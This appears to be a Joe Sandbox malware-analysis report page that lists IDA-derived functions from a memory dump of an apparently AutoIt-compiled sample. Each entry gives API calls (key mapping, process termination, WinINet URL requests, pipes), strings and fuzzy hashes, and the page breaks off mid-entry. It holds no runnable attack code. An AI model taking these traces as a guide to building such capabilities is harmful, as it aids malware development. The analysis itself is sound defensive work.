GetCurrentThreadId.KERNEL32 ref: 00D68833

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 71b1364a1fedab159eddbf52f38fa577cf868774280887be0dcf5e010ba2f358
Instruction ID: 4296e2019241467cefe004de0ab8065a20bd5de7f46a0bc7d19660011f89111f
Opcode Fuzzy Hash: 71b1364a1fedab159eddbf52f38fa577cf868774280887be0dcf5e010ba2f358
Instruction Fuzzy Hash: 6CF0BE731197125BE3747B7CBC0BA5A2BC0CF017B0B684B2AF468D60E2FF518841A1B5

Function 00D8A3D2 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: f1b24ef1e18652667711bf767d9db84b5a24f539c3c3f656c3379d52c3fc5c12
Instruction ID: 4dfb415dfe82a92c0264c1e6173b27af7cb634b387c561672f0eaefd3c1887f5
Opcode Fuzzy Hash: f1b24ef1e18652667711bf767d9db84b5a24f539c3c3f656c3379d52c3fc5c12
Instruction Fuzzy Hash: B6018132141313ABE7153B98ED48DEBB76AFF8A702B04053AF503D26A1DB60A801CB71

Function 00D41867 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D41898
MapVirtualKeyW.USER32(00000010,00000000), ref: 00D418A0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D418AB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D418B6
MapVirtualKeyW.USER32(00000011,00000000), ref: 00D418BE
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D418C6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 2e64b61eb053c4b03361b08a9b855fa6b276b49d09fe9282228c67239726a0e9
Instruction ID: c3300628d4ca685f701f0607f393b551bc380ed903a6cd5bc56096bc67a62921
Opcode Fuzzy Hash: 2e64b61eb053c4b03361b08a9b855fa6b276b49d09fe9282228c67239726a0e9
Instruction Fuzzy Hash: 7A0144B0942B5ABDE3008F6A8C85A52FEA8FF19354F04411BA15C87A42C7B5A864CBE5

Function 00D884F4 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00D88504
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00D8851A
GetWindowThreadProcessId.USER32(?,?), ref: 00D88529
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D88538
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D88542
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D88549

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 94505220aa7a5fab5d7ce8684d5609048b29470ef5b33e26270cf88c30a19512
Instruction ID: f8696e6a10015c5ee088fd805a79add5ab262f6332947ee79a0456542f6f52ca
Opcode Fuzzy Hash: 94505220aa7a5fab5d7ce8684d5609048b29470ef5b33e26270cf88c30a19512
Instruction Fuzzy Hash: 6BF0BE7224035BBBE7215B629C0EEEF7E7DDFC6B11F000068FA01D1150EBA02A01D6B4

Function 00D8A31D Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00D8A330
EnterCriticalSection.KERNEL32(?,?,?,?,00DB66D3,?,?,?,?,?,00D4E681), ref: 00D8A341
TerminateThread.KERNEL32(?,000001F6,?,?,?,00DB66D3,?,?,?,?,?,00D4E681), ref: 00D8A34E
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00DB66D3,?,?,?,?,?,00D4E681), ref: 00D8A35B

Part of subcall function 00D89CCE: CloseHandle.KERNEL32(?,?,00D8A368,?,?,?,00DB66D3,?,?,?,?,?,00D4E681), ref: 00D89CD8

InterlockedExchange.KERNEL32(?,000001F6), ref: 00D8A36E
LeaveCriticalSection.KERNEL32(?,?,?,?,00DB66D3,?,?,?,?,?,00D4E681), ref: 00D8A375

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 32798f671acc6f0c14f3471cf5fbe41cc2e9d62377ce61c3a10416cfa04f65f8
Instruction ID: 3abe6b176eb9857b3c049d30016cacb4c8cc4f64bc61804c7088aadd05d8c22e
Opcode Fuzzy Hash: 32798f671acc6f0c14f3471cf5fbe41cc2e9d62377ce61c3a10416cfa04f65f8
Instruction Fuzzy Hash: 3BF05E72141313ABE3112BA8ED48DEBBB7AEF89302B040532F202D12A1DBB59801CB71

Function 00D5D7C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 00D6010A: std::exception::exception.LIBCMT ref: 00D6013E
Part of subcall function 00D6010A: __CxxThrowException@8.LIBCMT ref: 00D60153

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Part of subcall function 00D4BBD9: _memmove.LIBCMT ref: 00D4BC33

__swprintf.LIBCMT ref: 00D5D98F

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00D5D832

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 933d303a9c47381b1798c07a9617edfa6badb39e7d8256ce53fa626a68c207e3
Instruction ID: 52fcc298090c2d6ec9f97377f09a2c4934ea676277ae3cf9b9a176e60724806e
Opcode Fuzzy Hash: 933d303a9c47381b1798c07a9617edfa6badb39e7d8256ce53fa626a68c207e3
Instruction Fuzzy Hash: E5915B31118241DFCB24EF24C885DAEBBA6EF95710F04491DF896972A1EB20ED48CB76

Function 00D9B482 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D9B4A8
CharUpperBuffW.USER32(?,?), ref: 00D9B5B7
VariantClear.OLEAUT32(?), ref: 00D9B73A

Part of subcall function 00D8A6F6: VariantInit.OLEAUT32(00000000), ref: 00D8A736
Part of subcall function 00D8A6F6: VariantCopy.OLEAUT32(?,?), ref: 00D8A73F
Part of subcall function 00D8A6F6: VariantClear.OLEAUT32(?), ref: 00D8A74B

Strings

Incorrect Parameter format, xrefs: 00D9B4E0, 00D9B6AD
AUTOIT.ERROR, xrefs: 00D9B5BD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 168e8b5f70237a4ba0b9f12015998a8b3bfbe8c9b936b257cb829e3c187f166f
Instruction ID: 555bc47aff7ebb4b76974f7eeb9a42b8139b277eeec0ca668884ab291997a6e0
Opcode Fuzzy Hash: 168e8b5f70237a4ba0b9f12015998a8b3bfbe8c9b936b257cb829e3c187f166f
Instruction Fuzzy Hash: 12919D706083019FCB10EF24D58095ABBF5EF89710F15886EF88A8B352DB31E909CB72

Function 00D85D65 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D43BCF: _wcscpy.LIBCMT ref: 00D43BF2

_memset.LIBCMT ref: 00D85E56
GetMenuItemInfoW.USER32(?), ref: 00D85E85
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00D85F31
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00D85F5B

Strings

0, xrefs: 00D85E4E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 22c91bee26fb83c9ef05b811e55e9d0af26b2d55ffd487aa7ecda803c7b5216f
Instruction ID: 3e76466f25b9d70e0afa198abe74e1deea8576653327341ed2e4695706d641fd
Opcode Fuzzy Hash: 22c91bee26fb83c9ef05b811e55e9d0af26b2d55ffd487aa7ecda803c7b5216f
Instruction Fuzzy Hash: 8651CF71518702ABD715AB28EC45A6BB7E8EF85350F0C062DF995D31D4DB70CE4487B2

Function 00D81050 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00D810B8
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00D810EE
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00D810FF
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00D81181

Strings

DllGetClassObject, xrefs: 00D810F4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 7e7249222bb1172e912c757c0e08614bcf600e618b3d1d2402cd7cafc0dbaf43
Instruction ID: 4835a39f3f387efae3eeea774b6f476b07ee7cfa9d30b49bb0145b894077bbd4
Opcode Fuzzy Hash: 7e7249222bb1172e912c757c0e08614bcf600e618b3d1d2402cd7cafc0dbaf43
Instruction Fuzzy Hash: D14188B5600305AFCB05DF55CC88BAA7BADEF44750F1480A9AA09DF205D7B1D94ACBB0

Function 00D85A25 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D85A93
GetMenuItemInfoW.USER32 ref: 00D85AAF
DeleteMenu.USER32(00000004,00000007,00000000), ref: 00D85AF5
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00E018F0,00000000), ref: 00D85B3E

Strings

0, xrefs: 00D85A8B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 07e4dc475aba030f3a6e2ef18dcce98248ccb03eb149a8e63d6bd1526846ece0
Instruction ID: 84b2c7ed284155b4c88b81fe53b4712338b0036ca2ea6e2b46096c4e8a5e3187
Opcode Fuzzy Hash: 07e4dc475aba030f3a6e2ef18dcce98248ccb03eb149a8e63d6bd1526846ece0
Instruction Fuzzy Hash: C941A1312047029FD714AF24E880F5AB7E8EF95714F18462DF8A5972D5D770E800CB72

Function 00DA0458 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00DA0478

Part of subcall function 00D47F40: _memmove.LIBCMT ref: 00D47F8F

Part of subcall function 00D4A2FB: _memmove.LIBCMT ref: 00D4A33D

Strings

none, xrefs: 00DA0553
cdecl, xrefs: 00DA04CF
stdcall, xrefs: 00DA04FA
winapi, xrefs: 00DA04E9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2411302734-567219261
Opcode ID: 95aa4dbb9db547afea3fba8761ecc4dbe484f485f2fb920ba1b991bcaeaeeb0e
Instruction ID: 95c4c43654a6c9b331fc843674d647fb8b1b6a6fc6d3533952fb76f1163a7499
Opcode Fuzzy Hash: 95aa4dbb9db547afea3fba8761ecc4dbe484f485f2fb920ba1b991bcaeaeeb0e
Instruction Fuzzy Hash: 29318174900619ABCF04EF58C8919FEB7B5FF15310B148A29E8629B2D5DB71E909CBB0

Function 00D7C600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00D7C684
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00D7C697
SendMessageW.USER32(?,00000189,?,00000000), ref: 00D7C6C7

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

Strings

ComboBox, xrefs: 00D7C60B
ListBox, xrefs: 00D7C643

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$_memmove
String ID: ComboBox$ListBox
API String ID: 458670788-1403004172
Opcode ID: f8ad2767b119f7276e0d1526daf04a2b56b36ef2814bc2c80b97df6ed982082f
Instruction ID: 8fba354eaa77102a55516dacbf2b0ecaa90a0d81220fa3639cfede1623026267
Opcode Fuzzy Hash: f8ad2767b119f7276e0d1526daf04a2b56b36ef2814bc2c80b97df6ed982082f
Instruction Fuzzy Hash: 1F21F671940108BFDB049BA4CC86DFF7769DF05354B149129F426E31E1EB784D0A9670

Function 00D94A41 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00D94A60
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D94A86
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00D94AB6
InternetCloseHandle.WININET(00000000), ref: 00D94AFD

Part of subcall function 00D956A9: GetLastError.KERNEL32(?,?,00D94A2B,00000000,00000000,00000001), ref: 00D956BE

Strings

, xrefs: 00D94AAF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: 53716943d0ed09d35b5335c423fa3d2c335133fe0f51e8e2c660169693d16539
Instruction ID: 5ef26a2c04e4161d2a6d8b3923a69c4a8246919d730e2431cfbe4197960a0418
Opcode Fuzzy Hash: 53716943d0ed09d35b5335c423fa3d2c335133fe0f51e8e2c660169693d16539
Instruction Fuzzy Hash: 3021CFB5640209BFEF12DF64DC84EBBB6EDEB49748F10412AF106E2241EA70CD068775

Function 00D438E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00DB454E

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

_memset.LIBCMT ref: 00D43965
_wcscpy.LIBCMT ref: 00D439B5
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D439C6

Strings

Line: , xrefs: 00DB4578

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: e9cd4f27fa45097d22f58b3b3972e5850f89a534cfe3e2d4822c8507c027372a
Instruction ID: c1990aeed8cfa4aa5f618baacad3d7fb3ab58d69236ae115717b306948c64fb4
Opcode Fuzzy Hash: e9cd4f27fa45097d22f58b3b3972e5850f89a534cfe3e2d4822c8507c027372a
Instruction Fuzzy Hash: E731AF71008341AFD721EB64CC42FDA77E8EB58750F04451AF1C9921A1DB71AB8CCBB2

Function 00DA8EEF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D5C657
Part of subcall function 00D5C619: GetStockObject.GDI32(00000011), ref: 00D5C66B
Part of subcall function 00D5C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D5C675

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00DA8F69
LoadLibraryW.KERNEL32(?), ref: 00DA8F70
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00DA8F85
DestroyWindow.USER32(?), ref: 00DA8F8D

Strings

SysAnimate32, xrefs: 00DA8F44

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 74f6bb813935180c31a4e0ef622cc54ef14ff2b1d50311405b8e0372c66f8c53
Instruction ID: a54fef8494ab700bd8c3106f56358b3c9c1744e94a8683bf839b62bfb8540a69
Opcode Fuzzy Hash: 74f6bb813935180c31a4e0ef622cc54ef14ff2b1d50311405b8e0372c66f8c53
Instruction Fuzzy Hash: D121887120020AAFEF104E64DC80EBB7BAAEF4A324F144628FE5497190DB71DC90A770

Function 00D89E65 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00D89E85
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00D89EB6
GetStdHandle.KERNEL32(0000000C), ref: 00D89EC8
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00D89F02

Strings

nul, xrefs: 00D89EFD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: d210a85ae4fa04550624734ea58ab01aefdc8198945d1469d322ebad2e520ba1
Instruction ID: a2c8ee564cd8f57a896b3de17e4607a6c3e455f20f650292cc8f4c0792b4ce02
Opcode Fuzzy Hash: d210a85ae4fa04550624734ea58ab01aefdc8198945d1469d322ebad2e520ba1
Instruction Fuzzy Hash: 91216D70500306ABDB21AF28DC15ABABBA8AF84324F284A19F8E5D72D0D770D941CB70

Function 00D89F31 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON

Download Yara Rule

APIs

